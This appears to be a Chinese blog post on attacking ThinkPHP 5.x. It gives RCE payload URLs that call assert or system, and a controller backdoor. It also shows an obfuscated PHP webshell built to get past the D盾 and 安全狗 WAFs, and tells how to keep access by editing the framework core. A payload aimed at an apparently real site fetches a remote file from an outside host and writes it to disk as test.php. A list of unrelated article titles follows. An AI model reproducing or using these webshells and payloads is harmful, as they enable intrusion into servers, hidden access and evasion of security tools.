环境:

Thinkphp 5.0.15

PHP version:7.0.12

WAF: D盾 ,安全狗

Thinkphp 采用 MVC 模式  核心:模块 -> 控制器 –> 方法

思路:利用已经有的think 类包库 去做一些事情

利用已有的功能,顺便对D盾 绕过

方法:

Payload1:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

Payload2:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

代码:

<?php
namespace app\index\controller;
use \think\App;
class index
{
public function index($f,$shell)
{
$a=new App();
$c=$a->invokeFunction($f,$shell);
return '</br> sucess'; }
}

关于用这个的来源:

Thinkphp5 rce 漏洞 其中一个payload  是这样的

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库

在think 类库中找到自己需要的功能,进行触发调用

先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马

 <?php
function invokeFunction($function, $vars = [])
{
$reflect = new ReflectionFunction($function); return $reflect->invokeArgs($vars);
} $function='a'.'ssert';
$vars=$_GET[1]; invokeFunction($function,$vars); ?>

还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、

然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限

演示以thinkphp 最新版本 5.0.24

在Think\app.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)

后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件  符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~

就可以继续任意执行了

tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。  在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。

附赠:

关于thinkphp rce  绕WAF or 宝塔

这里用了宝塔做测试:

http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

思路:绕敏感函数,和正则匹配

最新文章

  1. 微信小程序-多级联动
  2. 【Android Studio快捷键】之代码提示
  3. Python3.5 用 pip 安装lxml时出现 “Unable to find vcvarsall.bat ”?(转载)
  4. Home-brew 安装&amp;卸载 Git
  5. IO笔记
  6. android反编译经验谈
  7. tornado项目
  8. scale等比缩放才能做到看上去能让线条以中心点展开
  9. sql优化基础篇
  10. js 学习之路10:try异常处理和第一个js小程序
  11. tcpdump抓包常用命令列举
  12. Django学习手册 - 自定义分页函数
  13. MongoDB+MongoVUE安装及入门
  14. Eigen教程(4)
  15. 【C】——fread函数和read函数的区别
  16. Django 综合篇
  17. 品味性能之道&lt;七&gt;:索引基础
  18. thinkphp 3.x下的任意文件包含(有条件)分析
  19. jQuery使用cookie与json简单实现购物车功能
  20. 浏览器缓存如何控制? &amp;&amp; 在url框中回车、F5 和 Ctrl + F5的区别是什么?

热门文章

  1. public、private、protected继承区别
  2. AJ学IOS(37)UI之CALayer
  3. K - Two Contests
  4. CodeForces - 855B ring 前缀和
  5. google protobuf c++ 反射
  6. 2020.4面试分享(7面收5个offer)
  7. MVC-过滤器-权限认证
  8. 优质中文NLP资源集合,做项目一定用得到!
  9. 随笔之——伪类选择器:nth-child(n) 与 nth-of-type(n)的区别!!!
  10. tp5.0看点